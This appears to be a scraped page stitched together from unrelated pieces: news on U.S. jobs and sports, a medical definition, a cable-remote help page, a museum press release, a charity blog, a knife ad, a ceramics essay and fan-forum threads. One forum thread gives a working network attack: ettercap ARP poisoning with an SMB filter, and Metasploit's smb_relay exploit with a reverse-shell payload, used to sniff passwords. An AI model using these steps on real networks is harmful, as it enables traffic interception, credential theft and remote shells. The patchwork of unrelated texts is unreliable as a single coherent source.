U.S. employers added 236,000 jobs last month in a hiring surge that pushed the nation's unemployment rate down to 7.7 percent, its lowest level in more than four years.
Friday's Labor Department report also revised December's job gain upward to 219,000 from 196,000. But January's was lowered to 119,000 from the government's initial estimate of 157,000 jobs added.
Still, corporate profits are strong and the Dow Jones industrial average is at a record high. On Friday the Dow added 67.58 points to close at 14,397.
Robert Kleinhenz, chief economist for the Los Angeles County Economic Development Corp., said the February jobs report comes as good news.
"This is a welcome thing to report on," he said. "This number is really owing to a genuine increase in the number of employed persons."
In the three months leading up to February, employment rose by an average of 195,000 jobs per month, the Labor Department said.
The report notes, however, that the U.S. unemployment rate has shown little movement since September 2012 when it dipped to 7.8 percent from 8.1 percent the previous month.
February's jobless rate of 7.7 percent is down from 7.9 percent in January. But about 12 million Americans are still unemployed.
Still, the latest jobs report indicates that the economy is gaining traction, despite higher taxes and cuts in government spending.
"I think the fiscal cliff situation at the end of 2012 may have had a chilling or dampening effect on jobs nationwide and here in Southern California," Kleinhenz said. "But it's hard to document because there were so many other things happening."
Kleinhenz acknowledged that private sector jobs that depend on government funding are at risk because of sequestration cuts.
"We've already heard of cases with air traffic control and defense contractors," he said. "They're looking at furloughing employees a certain number of days each month to meet those budget cuts."
February's biggest gains came in professional and business services, which added 73,000 jobs. That industry includes such occupations as accounting and bookkeeping services, computer systems design and technical consulting services.
"I think things are improving," said Allen Highnote, president of Noteworthy Information Technology, a computer systems design firm in Long Beach. "I'm feeling more optimistic about this year than last year. Businesses seem more apt to invest in employees and they're upgrading their systems for the future."
The nation's construction industry added 48,000 jobs in February - the biggest hiring spurt in six years. The construction sector has boosted its payrolls by 151,000 jobs since September.
That doesn't surprise Nathan Charles, who works as a designer with JSE, a Santa Monica-based architectural firm.
"Everybody is building," he said. "We held off for about four years on a couple of spec projects because the market was upside down, but we just broke ground on them. We've been looking for more lots but every one we find has about 10 bids on it."
Recent reports have brought more positive news. Earlier this week, real estate data provider CoreLogic released a report showing that U.S. home prices rose 9.7 percent in January from a year earlier.
Industry tracker DataQuick posted even better news. Its report showed that Los Angeles County's median home price for January was $340,000 - up 17.6 percent from a year earlier.
San Bernardino County's median price topped out at $177,500 in January, an 18.3 percent annual gain. Year-over-year home sales in both regions were up more than 6 percent.
Significant job growth was also seen last month in health care (32,000), retail (24,000) and the information industry, which added 20,000 jobs. The latter gain was fueled largely by increased hiring in the motion picture and sound recording industry.
All of those jobs are welcome. But Kleinhenz noted that the nation's actual unemployment rate - counting those who are underemployed and others who have given up looking for work - is actually closer to 15 percent.
"Another thing to look at is how long people have been unemployed," he said. "Those numbers haven't changed a lot."
In February, the number of long-term unemployed who have been without work for 27 weeks or more was virtually unchanged at 4.8 million. They accounted for 40.2 percent of the total unemployed.
Locally, unemployment rates have remained much higher. In December - the most recent month for which figures are available - Los Angeles County's jobless rate was 10.2 percent.
Unemployment in the Inland Empire was higher yet at 10.9 percent. January figures for both regions are scheduled to be released March 22.

Pilonidal dimple
Pilonidal dimple
A pilonidal dimple is a small pit or sinus in the sacral area just at the top of the crease between the buttocks. The pilonidal dimple may also be a deep tract, rather than a shallow depression, leading to a sinus that may contain hair. During adolescence the pilonidal dimple or tract may become infected forming a cyst-like structure called a pilonidal cyst. These pilonidal cysts may require surgical drainage or total excision to prevent reinfection.

if you go ifconfig ra0 , what does the mtu say its at. try ifconfig ra0 mtu 1500
or echo 1 > /proc/sys/net/ipv4/ip_forward
Hey guys... Hope im not enfuriating anyone with my more or less noobish request, but i simply cannot find a solution anywhere (neither searching the forums, googling, or browsing the ettercap forum)... Im trying to get into my stationary pc (fully updated xp sp3 pro) while being on the same network (ofc).
I used the smb.filter posted on the forum (with the ip modified to fit).
starting metasploit and using these settings:
exploit= windows/smb/smb_relay
payload = windows/shell_reverse_tcp
LHOST = my ip
SMBHOST = my stationary ("victim ip")
then i run ettercap using:
sudo ettercap -T -q -F smb.ef -M ARP /"victim ip"/ // -P autoadd -i ra0
at this point everything looks fine... ettercap adds the host and starts the ARP poisoning...
The problem occurs when i then proceed to enter a website on my "victim pc" - the browser freezes, or atleast stands still working on loading the website...
at this point my ettercap konsole displays a lot of "Filter Ran." and some "zapped Accept-Encoding!" but inbetween these i get the error:
"SEND L3 ERROR: 980 byte packet (0800:06) destined to "VICTIM IP" was not forwarded (libnet_write_raw_ipv4(): -1 bytes written (Message too long)
Its looks like im incapable of forwarding packets but i do not understand why - i hope someone is capable of assisting me in this matter
if you go ifconfig ra0 , what does the mtu say its at. try ifconfig ra0 mtu 1500
or echo 1 > /proc/sys/net/ipv4/ip_forward
couldnt it be something in my router configuration?
WOOP! got it working with my other wireless card and some further adjustments... anyway, its solved! Didnt get root on my windows box though... but got passwords sniffed and i was deffo able to send packets.. anyway.. !
Hey where is the filter?
I am having trouble locating it, can u please drop a link

I work in a damn near draconian work environment where network loops are VERY common. Are there any ways to use BT to help localize them? I mean right now it's isolating switches, looking for lights, disconnecting cables one by one and waiting for the lights to calm down. Sometimes it's very guessy and I'd like to find better ways of doing this.
Sorry, I'm pretty new to these forums, linux, and these utilities. I've muddled my way through a lot of it but I need direction and what I should be looking for, you know?

Cox Universal Remote Control Unit URC 8820
Last Updated: Wed, 27 Apr 2016 > Related Articles
The information in this article has been consolidated and moved to a new article. See Programming Your Cox Remote Control for updated content.
If you subscribe to Cox Advanced TV Plus services, which offer the Contour program guide, you will receive the URC 8820. You can use the URC 8820 with either Cisco or Motorola cable boxes.
The new remote control is an ergonomically correct remote control that Cox designed based on feedback from customers. It has several features that make it easier and more efficient than earlier models of remote control.
Learn about the URC 8820's new features from the table below.
|This feature
|Looks like this...
|And does this...
|Back lighting
Provides pipe lighting around sections of the remote as well as lighted buttons. These make the remote easier for you to use in dim light. To turn the lighting on or off, you press a Light button at the bottom of the remote:
|All-On Power feature
|You can turn on and off all of your programmed devices by pressing the Power button.
|Closed Captioning (CC) button
Offers quicker access to captions, if you have a hearing impairment.
Note: This features is not available at this time.
|User button
Use to switch user settings, if you have set up different user profiles in your Contour program guide.
Note: This function is expected to be available mid-2011.
|Cox button
|Displays the program guide's main menu, when you press the button.
|D button
|Reserved for future enhancements.
|Low battery indicator

|Volume control
|Program an audio device instead of the TV to control the volume.
Some differences in the new Cox remote control involve the appearance, and some involve functions you perform to use the program guide on your TV.
- Layout of buttons has changed to make the remote simpler to use. You can reach most buttons using one hand. In particular, buttons used to play recordings or navigate the program guide are grouped physically and visually by the blue pipe lighting.
- The shape, balance, and weight distribution of the remote have improved, making it easier to hold.
- Frequently used buttons are more prominently displayed. Backlighting makes them easier to see, even in dim light.
- Size, shape, and color of buttons make them easier to use accurately.
Yes, three methods are available for you to use when programming your remote control:
- Using Quick-Start remote setup for popular brands
- Searching for device codes
- Using device code entry (refer to the Remote Control User's Guide)
You no longer use a Setup button to make changes. Instead, you press the Mute + Select buttons to access reprogramming functions.
You use the Quick Swap feature to toggle to a different manufacturer's set-top receiver, such as from Cisco to Motorola.

Press Room
Elizabeth Johns Awarded the 17th Annual Eldredge Prize for Her Biography of Winslow Homer
Media only: Laura Baptiste (202) 275-1595
The Smithsonian American Art Museum has awarded the 2005 Charles C. Eldredge Prize for Distinguished Scholarship in American Art to Elizabeth Johns, professor emerita of the history of art at the University of Pennsylvania. Her recent book, "Winslow Homer: The Nature of Observation" (University of California Press, 2002), is recognized for its complex and sympathetic portrait of the artist.
"Johns attends to Homer's status within American cultural life and notes the ever-changing functions assigned to him by several generations of critics and mythologizers," the Eldredge Prize jurors wrote in their decision. "But more fundamentally, she unveils Homer's rich emotional life, charts the many uncertainties and difficult choices that confronted him, and pinpoints the personal and professional crises that constituted crucial turning points. In a series of sensitive readings, Johns meshes art and life at each stage of Homer's career and discloses new shades of meaning in his art, from the earliest Civil War paintings to the late sea epics. Arguing forcefully that we must reckon with Homer's belief in the presence of God in the world, Johns imbues those late paintings in particular with spiritual grandeur and transcendence."
"The product of deep thought, wide knowledge and scrupulous research, this highly accessible modern biography of a famously inscrutable painter brings us closer to Homer's humanity than anyone has before," the jurors conclude.
The three jurors who awarded the $2,000 prize were Sarah Burns, Ruth N. Halls Professor of the history of art at Indiana University; Neil Harris, Preston and Sterling Morton Professor of American history at the University of Chicago; and Barbara Haskell, curator of early 20th-century art at the Whitney Museum of American Art.
"Elizabeth Johns has taken on the challenge of looking at Winslow Homer, an iconic American artist, with fresh eyes and has succeeded in creating a nuanced portrait that also contains many penetrating readings of his most well-known paintings," said Elizabeth Broun, the museum's Margaret and Terry Stent Director. "Her recent book is an invaluable resource to anyone interested in understanding the impact of personal events on this artist's work."
Elizabeth Johns received a doctorate in art history from Emory University in 1974. Throughout her distinguished career, Johns has interpreted works of art through their relationship to the political, social and economic history of the period, as well as to literary and intellectual history. In 2001, she was a Lilly Vocation Fellow at the Center for Religion, Ethics and Culture at the College of the Holy Cross in Worcester, Mass. Johns received a fellowship from the Woodrow Wilson International Center for Scholars in 1985 and was awarded a fellowship by the John Simon Guggenheim Memorial Foundation that same year. Johns was a Smithsonian postdoctoral fellow from 1981–1982. She is the author of "American Genre Painting: The Politics of Everyday Life" (Yale University Press, 1991) and "Thomas Eakins: The Heroism of Modern Life" (Princeton University Press, 1983), which was awarded the 1984 Mitchell Prize for the History of Art. She was a guest curator for the exhibition "Paths to Impressionism: French and American Landscape Paintings" (2003) and was a co-curator for the exhibition "New Worlds from Old: 19th Century Australian & American Landscapes" (1998).
The Charles C. Eldredge Prize, named in honor of the former director of the museum (1982–1988), is sponsored by the American Art Forum, a patrons' support organization. This annual award, initiated in 1989, seeks to recognize originality and thoroughness of research, excellence of writing and clarity of method. Single-author, book-length publications in the field of American art history appearing within the three previous calendar years are eligible. It is especially meant to honor those authors who deepen or focus debates in the field or who broaden the discipline by reaching beyond traditional boundaries. Dec. 1 is the deadline for 2006 nominations.
Recent Eldredge Prize recipients include:
2004: David Lubin, "Shooting Kennedy: JFK and the Culture of Images" (University of California Press, 2003)
2003: Richard Meyer, "Outlaw Representation: Censorship and Homosexuality in Twentieth-Century American Art" (Oxford University Press, 2002)
2002: Anthony W. Lee, "Picturing Chinatown: Art and Orientalism in San Francisco" (University of California Press, 2001)
Further information about the Eldredge Prize and a complete list of past winners is available on the museum's Web site at americanart.si.edu/education/opportunities-eldredge.cfm.
The museum's research programs include fellowships for pre- and postdoctoral scholars, extensive photographic collections documenting American art and artists, and unparalleled art research databases. An active publications program of books, catalogs and the journal "American Art" complements the museum's exhibitions and educational programs.
Eldredge Prize Lecture
On Thursday, Dec. 8 at 3:30 p.m., Elizabeth Johns will present the annual Eldredge Prize lecture, titled "Writing about Winslow Homer," in the Grand Salon at the Renwick Gallery of the Smithsonian American Art Museum. A reception follows the event. The lecture is free and open to the public.
The Smithsonian American Art Museum collection began with gifts of art donated to the federal government in 1829 and has evolved into the world's most important American art holdings, with approximately 40,000 artworks in all media spanning more than three centuries.

What else would you wear in 1895 to hear Tchaikovsky than "Jicky"?
The Tchaikovsky ballet is about dual natures: black swan versus white swan, soulful versus sensual.
According to the Sochi pre-ceremony lineup, t.A.T.u. is the greatest (and only) producer of Russian culture since Tchaikovsky.
Tchaikovsky actually succeeded in getting Taneiev chosen as Director of the Conservatoire.
Tchaikovsky studied Liszt with one eye; the other he kept on Bellini and the Italians.
The leading London papers mostly gave Tchaikovsky the credit of a signal success.
I was disgusted, and then they all fell to quarreling over Tchaikovsky.
About the close of the seventies Tchaikovsky started a new diary, which he kept for about ten years.
Tchaikovsky attacked this work in a complete change of spirit.
I never saw a man that was less capable of developing a theme than Tchaikovsky.

It wasn't a mere clash, it was a crash of the titans, and the Clippers' Blake Griffin and Memphis' Zach Randolph ended up neutralizing each other.
When the time came for help to arrive, the Clippers had it, significantly more than the Grizzlies did.
The Clippers' vaunted bench, which had struggled for much of the second half of the season, came up big as the Clippers scored a 112-91 win in Game 1 of the Western Conference first-round playoff series Saturday night at Staples Center.
Guard Eric Bledsoe, whose struggles with a sore calf were a sign of frustration, announced he is back at full speed, and just in time for the Clippers.
Bledsoe scored 15 points, making all seven of his shots, and added six rebounds and four assists to lead the cavalry charge as the best-of-7 series opened.
He was so good - Bledsoe's 6-for-6 shooting came in the second half - Coach Vinny Del Negro left him in with the front-line troops of Chris Paul and Chauncey Billups.
"Eric had a great stride to his step tonight, especially in the second half," Del Negro said. "His energy, it felt like it was contagious out there.
"I wanted to try to keep Bled's speed on (Mike) Conley as much as possible, and those are decisions you make. I could have easily went back with Caron (Butler), who played well. I could have easily went back with Jamal (Crawford), who was making shots and you always have to guard him.
"Those are decisions you make and that's the beauty of this team. Do they all want to be out there? Of course. You have to find out what matchups work and you have find out what will work at the end of the game."
Paul scored nine of his 23 points in the third quarter, Billups had 14 and Crawford and Butler had 13 apiece to lead the Clippers, who had seven players reach double figures.
And the Clippers won the rebounding battle 47-23, which helped limit Memphis to only five second-chance points.
"It's just one of those games," Del Negro said. "They really hurt us in the past on the glass. They're so physical up front, they're athletic and they know how to use their bodies. That's been an issue for us."
Griffin and Randolph battled so hard they both got into foul trouble and were both on the bench in the fourth quarter with four fouls. When they returned, the fray continued and they were called for a double foul on one another.
Griffin finally fouled out with 10 points and six rebounds, and Randolph had 13 points and four rebounds.
"It was physical," Del Negro said. "They had the double foul and they're going to be battling the whole series. That's what it is every time we play. I was proud of Blake, he just kept battling, doing whatever we needed to win the game.
"That's what the series is going to be about. I thought Blake really stepped up for us and helped us win this basketball game."
Jerryd Bayless came off the bench to lead Memphis with 19 points and Marc Gasol added 16 points and seven assists, but had only two rebounds and made just 4 of 12 shots.
Holding serve on the home court is the slightest advantage, but when the teams are so close, any little bit helps.
Keeping their emotions in check was no easy task, not with the way Griffin and Randolph went after each other in the paint. The battle was so fierce that by midway through the third period, both were on the bench with four fouls. Randolph had 13 points, Griffin six by that stage.
Both teams picked up technical fouls.
But what it came down to was the Clippers playing their game more efficiently than the Grizzlies could play theirs. The Clippers' reserves scored 28 of their 49 points in the second half.
"The bench has been so productive for us all season," Del Negro said. "It's a unique thing to have the depth that we have, so why not use it? They deserve the right to be out there, and they've been producing for us."

October is Breast Cancer Awareness month and I'm seeing Pink support absolutely everywhere. Pink in the grocery store, at the gas station, in the headlines on the news, even the NFL proved that real men wear pink this weekend! I love the fact that people all over the country are working together to promote breast cancer awareness!
Here at Sharpie, we too are playing an active role in supporting the cause. With our friends at City of Hope Breast Cancer Research Center, these are a few ways we are showing our support this month:
JEANS WEEK FOR HOPE: Employees donated $10 (or more) to City of Hope, a breast cancer research, treatment and education center and may wear jeans to work beginning September 28th through October 9th!
BAKE SALE: Friday, October 2nd we had a HUGE Bake Sale, giving all proceeds to City of Hope. People offered their culinary expertise by bringing in all sorts of delicious pink treats including cookies, cupcakes, and muffins. (*Note: Thank you to the one health concious person who brought in apples, carrots and celery sticks. Nice try, but no dice..) Though I am not sure how much was raised at our Bake Sale I can tell you this much, there was nearly nothing to chose from once 3 o' clock rolled around!
BREAST CANCER-INSPIRED ART: After NY Fashion Week wrapped up, I sent out small 5×7 canvases and a box of Sharpie markers to a host of top designers. In the packages was a note inviting the designers to participate in a charity initiative with Sharpie and City of Hope Cancer Research Center. We asked for a sketch, doodle, design anything to inspire and empower women. Each sketch will later be donated to City of Hope and auctioned online during Ocotober. All proceeds will benefit City of Hope. I've already received a few canvases and am very excited to see more as they come in! Please join us for the auction and bid on these one-of-a-kind canvases on City of Hope's auction site: www.auctionsforhopes.org.
WALK FOR HOPE: Sunday, Ocotober 4th employees participated in Walk for Hope, a national breast cancer walk series that raises millions of dollars in support of breast cancer research, treatment and education programs at City of Hope. Click Here for more info.
PINK INK: Sharpie will donate ten cents from the sale of each Pink Ribbon Sharpie marker and Pink Ribbon Sharpie Accent Highlighter to City of Hope for breast cancer research, treatment and education. Don't you just love these:
While October is recognized as Breast Cancer Awareness month, we should not limit oursleves to this one month out of the entire year. Although many great strides have been made in breast cancer awareness and treatment, there remains much to be accomplished. Women need to be educated and empowered year round to take charge of their own health by practicing regular exams, scheduling regular visits with their healthcare provider, and knowing the facts about breast cancer. For more information , please visit www.cityofhope.org.

QAQTR6PP: QTR-6 Orville "Rick" Wright Pre-Production
QTRM5TR Knives
The Orville "Rick" Wright is easily the most EDC-able model in our present lineup. Its size, blade shape, ease-of opening and overall feel make it a perfect candidate for daily carry. The construction and assembly are based on QTRM5TR's "less hardware, less repair" theory of design. The handle and frame sides are secured around the pivoting blade by nothing but their Tri-Spoke® Pivot Assembly & two oversized chain-ring bolts. The blade style, traditional in some senses—its shape is utilitarian, known as a drop-point. It's dual thumb studs give you the touch you need when blind and help to get that steel where you'll need it, fast. The machining of the G-10 scale is unique to the QTRM5TR brand. Its tough to develop a pattern that's unique in knives these days, but they've achieved it with this piece. Finally, the flipper device doubles as a finger guard, it moves the blade into position with an intuitive "flick" with the help of the ORB®. An amazingly solid knife at every angle.
About the ORB® Pivot System:
The ORB® Pivot System is a sealed ball-bearing technology that is widely considered the second generation of an open-bearing system that is being used by some manufacturers today.
The ORB's advantages are plenty: dirt and pocket lint cannot impede the track of these rollers, they're encased. The ball-bearing system tightens the tolerances in and around the pivot of the folding knife, as a result the lock-up is vault tight, yet the rollers allow for almost effortless rotation.
The lack of 'play' at any point on the rotational axis of the blade is truly unlike anything currently being made at this price point in the United States.
About the Tri-Spoke Pivot Assembly:
A single thread weaves its way through every corner of the knife industry: the desire to be original. To author some form, to create something unique and memorable lives at the desk of every designer throughout our profession.
QTRM5TR's signature, at the present point on their timeline is the Tri-Spoke Pivot® Assembly. At the heart of the Tri-Spoke Pivot assembly is the T10 Torx slot, but the science around the perimeter is what's most interesting. By engineering their own unique hardware and implementing the component as an oversized pivot, they allow our folding knives to distribute the force of assembly over a larger area, allowing the knife to pivot at the same speed throughout its smooth rotation. The results are stunning to say the least.

SAINT LEO, Fla. – After a solid season in the pool the Saint Leo University men's swimming team was honored for its academic accolades as they were one of just 16 teams in Division II to take home a College Swimming Coaches Association of America (CSCAA) Team Scholar All-America award.
A high honor throughout all of the NCAA, the CSCAA presents the Team Scholar All America award to college and university swimming and diving teams who have achieved a cumulative grade point average of 3.0 of higher. The Lions earned the honor in both the Fall 2010 and Spring 2011 semesters, posting yet one more sweep in the past season.
For the first time, the Lions finished ranked in the top-25 in the College Swimming Coaches Association of America in both the men's and women's national polls and Saint Leo claimed both an individual representative at the NCAA Tournament (Maggie Walker) and an individual champion in the inaugural Sunshine State Conference Swimming Championships (Michael Cozzi, 1,000yd free).
Cozzi was one of a number of solid performers for the Lions as he claimed the SSC title in the 1,000 yard freestyle in the championship's first day. The conference second-team member set new marks for the Lions in swimming the 200, 500, 1000 1650 yard freestyle events and also in the 100 yard breaststroke. Cozzi earned his stripes as one of the Lions most enduring swimmer of the season as he was also a member of four relay teams that set new school records in 2010-11. His ultimate surprise came when he was named the 2011 Saint Leo Male Athlete of the Year at the Annual Athletic Award Banquet in April.
A sport that is a blend of individual accomplish and team achievements, the two newcomers were not the only ones to set marks in 2010-11. Other accomplishments include:
- Finish Season Nationally ranked, 23rd both sides
- Four CSCAA Academic All-Americans - Derek Maddigan, Michael Cozzi, Antonio Roki, Maggie Walker
- 26 Team Records broken vs. 16 last year
- Record improvement: 2009-2010 Record: 3-8 (SSC 0-6) 2010-2011 Record: 8-1-7(SSC 5-1-6)
Head Coach Paul Mangen will look to continue the upswing in Lions' Swimming both in the pool and academically when his 2011-12 group begins classes at the end of August.

As the pursuit of a bachelor of fine arts degree nears completion, a student cannot help but be overwhelmed by the consequential lingering question of "What comes next?" As an undergraduate student at the University of Wisconsin, Madison, I was determined to go directly to graduate school after earning my degree.
It seemed to be the obvious next step, which I would proudly announce to anyone who inquired as to my post-graduation plans. As far as I knew, graduate school was the logical progression and I had not really considered another option. However, much to my surprise, I was encouraged by a multitude of established artists to take my time instead, and pursue other, potentially more fruitful opportunities before grad school.
"Look for a residency, an artist to mentor with, or work as a studio assistant." "Get to know yourself and develop your work," they would suggest. So this is what I did, and it was valuable advice that I will echo to anyone who finds themselves in the same position. There was, however, an additional and equally valuable opportunity that I later discovered, to which I would like to sing my praise: a post-baccalaureate certificate program.
After graduation, my first move was to New York City for a two-year studio assistant residency at Greenwich House Pottery in the West Village of Manhattan. This experience was quite satisfying to me as it fulfilled the goals that had been impressed upon me. I was able to get to know myself better as a maker and focus on my work, while simultaneously learning priceless lessons through my responsibilities as a studio assistant. I developed a distinctive style, technical prowess, and a tight portfolio of elegant, large scale, abstract sculptures. Upon completion of my two years, I felt that it was now time for me to pursue graduate school and sent out numerous applications, only to receive a stack of "We regret to inform you…" rejection letters in return.
Faculty at the various universities offered me feedback, with a consistent response, saying "Beautiful, tight work, good enough for graduate school, but where is it going and what is the investigation?" It became apparent to me that, although I had made commendable technical advances, the isolation of my studio was not ideal for the development of content in the way that the critical dialog of academia demands. In order to take my portfolio to a higher level of maturity necessary for graduate school, I needed to be in an environment that would not only allow more time to focus on producing work, but also provide critical feedback to support thoughtful development of content.
Among the faculty feedback I received was a crucial suggestion encouraging me to pursue a post-baccalaureate certificate program. It amazed me to learn that there are institutions that offer a formalized curriculum for individuals in between undergraduate and graduate school, specifically designed to help students make that next step. I applied and was accepted to the program at University of Massachusetts, Dartmouth and gratefully found myself in the intense and nurturing environment that I needed.
Upon arriving at UMass, my new professors assured me that if I dedicated myself to developing my work and responded to the gaps they perceived in my portfolio that I would indeed get accepted into graduate programs the following year. They made it clear that my sole responsibility for the year was to be in the studio 100 percent of the time, seven days a week- morning until night. My life drastically shifted, from working 60 hours a week before having the time to get into the studio in New York, to spending over 100 hours a week in the studio, focusing all of my energy on furthering my artistic development. Weekly one-on-one faculty meetings to discuss the development of work, formal group critiques with faculty and students, and a weekly seminar that focused on topics pertinent to my artistic development complimented the studio time. Seminar topics included art theory, artist statement and resume development, and how to make thoughtful decisions about which graduate programs would be a good fit for each individual. Post-baccalaureate students are also required to take a supplementary course each semester to enhance studio practice such as clay formulation, glaze calculation, kiln building, mold-making, or art history, as well as assisting one of the associate professors in teaching an undergraduate course.
The program also surrounded me with three other post-baccalaureate certificate students, working with the same level of intensive devotion to personal development, striving to reach a similar goal. The four of us were constantly involved in informal critique of each other's work and provided a healthy competitive desire to be in the studio 24/7. Not only our work but our general approach to art making developed a great deal; each of us were accepted into multiple programs, and are now attending graduate schools that suit our individual needs. We came out of the program with not only acceptance letters, but also nine transferable graduate credits, a mature body of work, and a prevailing drive to continue making.
As a second year graduate student at Indiana University, I feel that I ended up at the right school for me and arrived prepared and confident.
I owe both my preparedness and the opportunities that became available to me to the post-baccalaureate certificate program I attended. So, to any undergraduate ceramic students thinking about what to do after graduation I say, look for a residency, an artist to mentor with, work as a studio assistant, or better yet, apply to a post-baccalaureate certificate program, you'll be happy you did.

UMass Dartmouth Post Baccalaureate Certificate Program– A Nine Credit Graduate Certificate
-by Rebecca Hutchinson, Associate Professor, University of Massachusetts, Dartmouth
At UMass Dartmouth we have a well-established post baccalaureate program for those interested in pursuing a "fifth year" of study, offering a critical environment with full access to our facilities. Our Post Baccalaureate (PB) students, after working with us for the year, go on to notable graduate programs, residencies and other professional goals around the country. (Post baccalaureate placements in the last five years include: Alfred University, Tyler school of Art, University of Minnesota, San Diego State, Cranbrook, Arizona State, UC Davis, Ohio University, Ohio State, University of Indiana, UC Boulder, University of Nebraska, Archie Bray Foundation, UMass Dartmouth, Penn State). Since 2001, 27 out of 33 PB students have been accepted to graduate school.

Post subject: Week Eleven: Buccaneers (5-4) @ Panthers (2-7)
I'm going to start this thread off with a couple stats...
QB Josh Freeman: In the past five games, Freeman is the highest-rated third-down passer in the NFL with a 121.2 rating. Hes completed 67.4 percent of his attempts and has no interceptions on third downs during that stretch.
RB Doug Martin: Even after a quiet week, Martin is tied with the Titans Chris Johnson for third in rushing with 862 yards. Also, his four runs of 40 yards or longer leads the NFL.
WR Vincent Jackson: His per-catch average of 21.4 yards is tops in the NFL for receivers with more than 20 receptions. Jacksons four catches of 40 yards or longer is tied for third.
LB Lavonte David: If it seems like David is making every tackle, its because he nearly is. David is tied for fourth in the NFL with 81 tackles, second among rookies (Carolinas Luke Kuechly is first).
The defense: The Bucs struggles in pass defense have overshadowed their ability to get takeaways. Tampa Bay is third in the league with 15 interceptions, trailing only the Bears and Giants. Ronde Barber leads the team with three picks.
Against the run: The Bucs are tops in the NFL, allowing 80.1 rushing yards per game and 3.5 yards per carry.
What does all of this have to do with the Panthers?
Panthers RBs get stuffed on runs 24 % of the time (30th in the league)
Carolina allows opposing QBs to complete 67.5% of their passes (30th in the league)
Cam Newton has the 5th highest Int % (Interceptions/passes attempted) in the league
For the first time in a long time we actually match-up really well against the Panthers. Our run defense is the best in the league and our secondary is opportunistic enough to make up for the big plays that they give up. Cam doesn't look like himself right now, neither does the Panthers run game, and their secondary is beatable.
The one match-up that concerns me is Carolina's DLine vs. our OLine. It's a group that isn't getting much respect, but they are a very good group that can get after the passer. Division games are never easy, but if our OLine is up to the task we stand a good chance on Sunday.

I have a feeling we are going to be the team that prompts all the "Cam Newton is back!" threads. He'll go off, 31/38 for 322 yards and 3 td's.
That being said, we're better than them. Just straight up, we're better. I expect Martin to go off, 150+ yards, and Freeman should continue his big play. I can't see them stopping our offense, and on defense I think we can continue our current trend: letting the other qb rack up yards, and get a couple of opportunistic turnovers.
Bucs: 34
Panthers: 21

I wanna blow 'em out. Something like 31-10. That'd be cool. When's the last time we blew out a division foe?
Anywho, I bet Carolina comes to play. Like you mentioned, their dline is legit. I could easily see our lowest scoring game in weeks. Hopefully we can force some turnovers.

This is a trap game bc many analysts are already looking ahead to the Atlanta game the following week. Hopefully the bucs just get out of here with a win.

I would love for this to be the game where our dline line finally shows up and has Cam running for his life.
This should be a beatdown. The last few years they have given us a few, time for payback

We're better than them by a considerable amount, but I see it being a closer game than it should. We're definitely an opportunistic defense, which bodes well for us against a QB like Cam.

Tampa will win this game decisively. Carolina has a good defensive line but that's pretty much it.
Seriously though, if our match-patch makeshift offensive line can play decent I don't see how Freeman doesn't throw for over 300 yards with 2-3 td's this week. Their secondary stinks. Their offensive line is garbage too. I almost felt bad for Cam Newton last week seeing that pocket collapse so fast. Dude can't even roll out to buy time because its closing so fast. McCoy, Bennett, and Bowers should come away with a 1 sack each and both good games. Only concern is who will be shadowing Steve Smith? Eric Wright won't likely play and Biggers is not a good match-up at all. Leonard Johnson will probably draw that assignment and it'll be interesting to see what happens on those 1v1's. Tampa will score 28-31 points and CAR will leave Ray Jay with 21 at most.

Hayward will replace Quincy Black.
Watson can't seem to break the starting line-up.
RG Jamon Merideth walked out of the locker room on crutches and ice on his ankle.
This is really bad news. I hope it's not serious. Meredith has been a gem, and we really have no depth on the OLine with Joseph and Nicks already out.

I think this game will be pretty close. Carolina will come out swinging in this one I believe. I still think we'll be too much and I think Freeman will lead a 4th-Quarter comeback to win it. Both offenses will put up some points.
This is a very important game. I know most people just want to look ahead to Atlanta, but beating Carolina is crucial before we even think about Atlanta. Our remaining games are Atlanta (8-1), Denver (6-3 and Peyton Manning), Philly (Meh), New Orleans (4-5 and surging), St. Louis (a tough team), and Atlanta again. We need all the wins we can get, so now is not the time to get an ego and think that a win in Carolina will just be handed to them. It should be another interesting game.
Thanks to BGG on the sig.

I always love it when we play the Panthers cuz its always a good game and I cant stand them. We should dominate every phase of this game. Martin's guna have a huge day and this game SHOULD be a blowout in our favor. However the Panthers always play us tough and divisional games are never easy. Hopefully we are not overlooking this game cuz we have ATL next week. I dont think Schiano would let that happen.

I hope Merideth isn' hurt serious, but with Coach Bostad on staff, they may plug in Allen and not miss a beat. As for Watson, this is the second coaching staff who just feel like he is a special teamer and nothing more. I think they are going to have to address SLB in the offseason, not necessarily a high draft pick or big time free agent. Where is Al Singelton when you need him?

Doubt it. As much as Martin may dislike the name, I think Muscle Hamster is gonna be a tough one to shake.

Southern League Finals preview
Zunino, starting pitching lead Jackson into Finals vs. Mobile
By Brendon Desrochers / MLB.com | September 10, 2012 1:01 PM ET
When the season began, Jackson boasted the Mariners' top three pitching prospects -- Danny Hultzen, Taijuan Walker and James Paxton plus Brandon Maurer -- and Mobile featured two of the D-backs' top three pitching prospects -- Trevor Bauer and Tyler Skaggs -- plus Patrick Corbin and Charles Brewer.
The teams then met in a highly anticipated five-game set in May, but, of the touted prospects for Mobile, only Skaggs pitched due to the others being promoted. The Generals won all five games with their top four pitchers combining to allow just four runs in 23 1/3 innings.
The series sweep helped Jackson take the first-half title, but did not deter Mobile from winning the Southern crown. With Paxton, Walker and Maurer hanging around western Tennessee for most of the second half, the Generals ended the season with the league's best overall record. Mobile, on the other hand, was decimated by departures and played to the league's worst record in the second half.
"Last year, we had a lot of players who played college ball and were more mature in baseball mentally," said Mobile manager Turner Ward. "This year, it's a lot of high school guys. That's been the difference in our lineup. It's a tough transition for those guys."
Nonetheless, the BayBears rebounded to take their semifinal series with Montgomery in four games, scoring 27 runs and holding the Biscuits to 11. Mobile returns to the SL Finals in search of a second straight title and takes on Jackson, which was equally dominant in knocking out Chattanooga in four games.
Mobile BayBears (69-71, South Division first-half champion) vs.
Jackson Generals (79-61, North Division first-half champion)
Jackson won the season series, 7-3
Game 1 at Jackson, Sept. 11 at 7:05 p.m. ET
Game 2 at Jackson, Sept. 12 at 7:05 p.m. ET
Game 3 at Mobile, Sept. 13 at 8:05 p.m. ET
Game 5 at Mobile (if necessary), Sept. 14 at 8:05 p.m. ET
Game 4 at Mobile (if necessary), Sept. 15 at 8:05 p.m. ET
Jackson has ridden starting pitching and home run power to get to the Finals. The Generals led the Southern League in ERA (3.37) and home runs (118). The player who connects those two strengths is catcher Mike Zunino, the No. 3 pick in June's Draft.
